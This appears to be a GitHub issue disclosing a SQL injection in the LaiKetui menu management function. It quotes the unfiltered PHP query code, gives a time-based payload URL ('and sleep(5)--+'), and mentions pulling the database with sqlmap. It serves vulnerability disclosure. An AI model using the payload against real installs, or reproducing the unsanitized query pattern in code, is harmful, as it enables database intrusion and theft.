Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL injection exists in the LaiKetui menu management function #13

Open
kkin77 opened this issue Sep 11, 2021 · 0 comments
Open

SQL injection exists in the LaiKetui menu management function #13

kkin77 opened this issue Sep 11, 2021 · 0 comments

Comments

@kkin77
Copy link

kkin77 commented Sep 11, 2021

SQL injection exists in the LaiKetui menu management function

image

The link where SQL injection exists is http://127.0.0.1/LaiKe/app/LKT/index.php?module=menu&action=modify&id=1

Locate the vulnerable file /app/LKT/webapp/modules/menu/actions/modifyAction.class.php

image

Because the parameter id is not filtered, it leads to SQL injection vulnerabilities

	public function getDefaultView() {
        $db = DBAction::getInstance();
        $request = $this->getContext()->getRequest();
        // 接收信息
        $id = $request->getParameter("id");
        $_SESSION['url'] = $_SERVER['HTTP_REFERER'];
        // 根据id,查询菜单
        $sql = "select * from lkt_core_menu where id = '$id'";
        $r_1 = $db->select($sql);
	public function getDefaultView() {
        $db = DBAction::getInstance();
        $request = $this->getContext()->getRequest();
        // 接收信息
        $id = $request->getParameter("id");
        $_SESSION['url'] = $_SERVER['HTTP_REFERER'];
        // 根据id,查询菜单
        $sql = "select * from lkt_core_menu where id = '$id'";
        $r_1 = $db->select($sql);

Use burpsuite to request url http://ceshi.io/laike/app/LKT/index.php?module=menu&action=modify&id=1' and sleep(5)--+

image

View SQL monitoring

image

Use sqlmap SQL injection
Get the database

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant